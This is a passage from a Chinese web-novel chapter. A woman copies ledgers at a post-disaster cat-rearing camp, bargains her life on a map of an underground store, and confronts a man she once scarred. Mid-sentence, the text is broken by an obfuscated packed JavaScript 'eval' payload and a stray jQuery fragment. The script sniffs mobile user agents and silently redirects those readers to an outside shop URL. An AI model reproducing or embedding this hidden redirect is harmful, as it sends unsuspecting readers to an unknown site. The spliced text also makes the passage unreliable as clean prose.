“账在猫肚子里，取不出来。你要看，我给你抄一本。”
常先生从桌子底下抽出一本没写过的册子搁在她手边，又把碟里那支笔推过来。桌上摊着三本旧册子，收货棚那本硬皮登记册、料册、包着牛皮纸的交割清单，数全在她脑子里，她要做的就是把数从这一页搬到那一页。
买主走的时候丢下的是同一句话，天亮以前。她坐下来的时候离天亮还剩两个钟头，灯管在她头顶嗡嗡响，笼架那一排光一起一伏，起伏的间隔比头一天长了一线。
她坐下就抄。头一页是日期和数，第二页也一样，抄到中间那几页笔慢下来，字还是干净的一手字，横平竖直，跟印出来的一样。从前在公司抄会议纪要，抄完给领导看一眼就进碎纸机，眼下她抄的每一个数后头都挂着一条命，写歪一笔，明天架子上就空一格。
页脚的合计数添完，她横竖核了两遍，顺手把清单上岔了一天的那笔日期也改了，改完把笔搁回碟里。
夹层那一页她只写下去三个字和一个圈，写完整页纸空到纸边。
抄到清单最后那一行，她的笔停了半息。那一行上写着程甄，后头跟着账册一本、随货，右边一格空着。她把这两个字照抄下来，在空着的那一格里填进去六个字，随行送货一人。从前在公司，出差的单子也是自己填的。
平台那头，喂料的人把三号格的笼子从钩子上摘下来，两只手端平了往梯口走，梯子下头有人接过去。架子空出一格，木牌上那一个圈还挂着。她看了两眼就低下头接着写，笔尖没有停。
常先生的算盘珠子响了三遍，最后一遍停下不动，他看着那两列数，把册子往回推了半寸。
“头一页的日期，你写得比别人的规矩。”他说，“抄过账。”
“在铺子里抄过。”
“图上就这么点东西？”
“图上就这么点东西。”
“老城根那条地下河，往哪边流。”
“往南。”她说，“出口在高架桥底下，水是活的，底下不闷。”
梯口有人探头报了一句，说滩外来了一队人，车停在绳子外头，车上拉着一笼一笼的东西，说是北边送来的货要当面交。常先生摆了摆手，那人缩了回去。
平台口的布帘被风掀起来一角，深灰夹克的人从梯口上来，外套没扣，手里什么也没拿。喂料的人端着盒子让到一边，他走到桌边站住，低头看那本新册子，看了一页，翻过去看下一页，翻到最后那页停住。
“老城根。”他把这三个字念出来，念得很平，“底下有什么。”
“发电机两台，药库一间，下游一个进水口。”她说，“还有一仓料，一动没动过。”
“你怎么知道有门？”
“我进去过。”她说，“出来的时候是我把那道门顶上的，门后头有东西。”
他把册子从她手底下抽走，捏着它站了一会儿，合上搁到胳膊底下。他转头看常先生，说的是另一件事。
“架子上她名下那几格，一只都不上顶。这几天也不用再看亮暗了。”
常先生手里那支铅笔横过来，笔尖悬在册边上没落。
“图上要是一座空城呢？”常先生说。
“空城也比这里强。”
“试喂棚里那些一天喂三回的猫。”她说，“你给我停三天。”
“停三天，滩上就少三只。”深灰夹克的人说，“凭什么？”
“凭我这条命押在那张图上。”
“等你把底下那仓东西弄回来，我停它十天。”
“那她呢？”常先生问。
“让她上去一趟。”深灰夹克的人说，“看完再谈十天的事。”
“顶上那本账也带下来抄一遍。”常先生把铅笔别回册子上，“那本四个月没平过。”
到顶上要过一道窄铁梯。梯口一扇铁门，门上挂着一层厚布，布边被风吸得往里贴。江野端着那只带盖的铁桶先上去，用肩膀把布挑开。
汤圆在梯口蹲住，耳朵往后压平，四只爪子钉在铁板上，一动不动。她把它抱起来放进平台边一只空笼子，笼门扣上，它没叫。
屋里比下面矮一截，头顶的铁皮压得很低，一盏灯挂在梁上，光只照到铁床那一块。床一共有三张，靠墙排着，中间那张躺着人，身上盖一条灰毯，毯子薄得能看出底下肩膀的形状；另外两张铺得平平整整，被角压得齐，枕头上连一道印子都没有。
那人的脖子和手腕上盘着黑线，一条压着一条，爬到指节上就散开。他脑壳后面鼓出一块，把枕头垫得陷下去一边。眼睛睁着，看的是天花板。
床脚摆着那只带盖的铁桶，盖子敞着，桶底铺着一层深色的料，数一眼看得出来，五颗。墙上记着一排道道，从上往下一列一列，上头三列密，底下那一列只画了三道。
屋里有股味道，药味、铁锈味，底下还压着一层别的，她没往深处想。
江野拿了一颗深色的料，一只手托起那人的下巴，另一只手把料塞进嘴里，合上嘴，掌心托着，等那一下吞咽从他掌心里过去，才把手抽回来。
“桶里就剩五颗。”她说。
“一天三颗。”江野把桶盖合上，又掀开看了一眼，才扣严，“所以你得上老城根。”
球球在她怀里拱。它先抬脸，接着两只前爪往她胳膊外头伸，冲着床那头挣，挣得她整条胳膊往后仰。她把它往怀里按，按下去三回，第四回它从布兜里钻出半个身子。
她一只手兜着球球，一只手把布兜的肩带往上提，手背从床边垂下来那只手的手背上擦过去。
虎口上起了一道细黑线，往上爬到腕子，散成几支，钻进皮里去。
江野把桶往地上一搁，抓过她的手腕翻上来，看了两眼，什么也没说，把她的手按到球球嘴边。
球球闻了闻，伸出舌头。一下，两下，舌头过去的地方那道线往回收一节，再舔，再收。舔到第五下它放下脸，趴在她胳膊上不动了，呼噜停在半道，肚皮下那点光也收进一层。
床上那人的头往这一边转了半寸，转不动了，喉咙里响了一声，眼睛还是照着天花板。
江野把她往后拉了半步，拉到她的脚跟碰到床脚那只铁桶。
她把手翻过来自己看，只剩一条浅灰的印子，跟结过痂的划子差不多。这样一道一道的印子她身上不是头一回，最旧的那一片在小臂上，四道口子连成一块，摸上去是平的。
“这是什么人。”她问他。
“第一个吃料的人。”江野把袖子往上拉了拉，把那道旧黑印子压回布里，“我上来的时候他就这样，吃了半年，还剩半条命。塔上一天三颗深料是喂他的，架上那些号是替他攒的。”
“前头两张床是谁的？”
“我来的时候空着一张，另一张空了还没多久。”他把空桶往床脚里侧挪了挪，挪得很轻。
常先生要她带下去的那本账摊在床头一张矮桌上，纸比底下的薄，页脚的数字四个月都没对上。她翻到最后几页，那几页不记料，记的是名字，一行一个，最后三行的名字被人划掉了，斜线收笔的地方压出一个角。这种划法她见过，孙老头那本账上是这样划的，底下那本货册上她自己也是这样划的。
她把这本册子夹在胳膊底下。有几页的收笔挑着一个小
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17959807|214323||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
钩，塔上没第二个人这么写字。
深灰夹克的人站在门口，没进来。
“看清楚了。”
“看见了。”
“他一天三颗，四个月前吃两颗。”他说，“二十七颗灰的换一颗深的。十天以后你再不来，这间屋子就是空的。”
平台上风大，她把汤圆从空笼子里抱出来。汤圆下地先绕着她走了半圈，走到九号格跟前坐下，尾巴绕在前爪上。九号格里那只蓝金色的把笼门上的木牌拨正了，拨完抬脸看她，一副这牌子挂歪了是别人干的做派。
她把料盒里最后一颗料摊在手心，汤圆凑过来闻了闻，吃得干净。江野伸过一回手，把一颗料托在掌心里往那只银白跟前送，那只猫把脸转到另一边，转得很干脆。
“它不吃我给的。”江野说。
“它不吃别人给的。”
“那你得活着。”
她把空盒子放回架子上。球球趴在她胳膊弯里没动，只有舌头伸出来卷了一下，又放回去。
“动身那天我不坐筐，从滩上走，这几只跟着我。”她说，“下去以后我先往南一趟，接几个人回来。”
“几天？”
“三天。”
“两天。”常先生说，“第十天头上货要到老城根底下，日子是按料算的，不是按人算的。”
“两天。”她应下。
“我走这两天，架子上这三格的料照发。”
“按数发。”常先生说，“少一颗我记你的账。”
“记吧。”
“跟你上去的人得认得猫，也得认得出抓伤。”
“行。”
“我要他。”她朝江野那边看了一眼。
常先生把这句话记在本子上，又拉开抽屉摸出一块铁牌搁在桌上，牌面比滩上那些木牌小一圈，边上打了个孔，穿一根麻绳。
她把铁牌系在腰上，走到九号格跟前。乖乖隔着铁条把鼻子凑到她手上闻了一下，闻完把脸转开，意思很明白。
“你带上来的就是它。”江野从架子那头走过来。
“账在它肚子里。”
“另外两只呢？”
“跟那家人往南走了。”她说，“一只负责变饭，一只看着孩子。”
江野把九号格那块木牌取下来，用铅笔把上头两个字擦掉重描了一遍，描完挂回去，挂得比刚才正。
栈桥那头的铁筐升上来，撞在水泥台上弹了一下，筐里站着一个人。那人穿一件旧夹克，肩上一道泥印，脸上从眉骨到下巴横着一道新疤。喂料的人停了手，江野把铅笔从耳朵上取下来。那人先看了一遍笼架，再转头看她，看了三息才从筐里跨出来。
常先生抬头看他一眼，说了四个字：“北边送猫的。”
那人没理这句话，走到长桌前站定，从怀里摸出一张纸摊开搁在桌上。纸上画着一个圆脸粗胳膊的人，怀里抱着一团东西。
“画得不像。”他说。
他把那张纸往她这边推了半寸，又补一句，声音很平。
“猫像。”
这张脸她认得。体育馆那一夜带人踹开她铺位的是这个人，她用一听午餐肉罐头砸在他脸上的也是这个人，那道疤就是那一下砸出来的。
深灰夹克的人靠在梯口的栏杆上没动，眼睛在那张纸上停了一下，又抬起来看那人的脸。
“程甄。”那人把两个字咬得很慢，“川哥让我带句话。那本账他可以不要了。”
她把手在腰上那块铁牌上按了一下，另一只手把九号格的笼门往里推了半寸，让挂钩卡到底。
“他要人，和那五只猫。”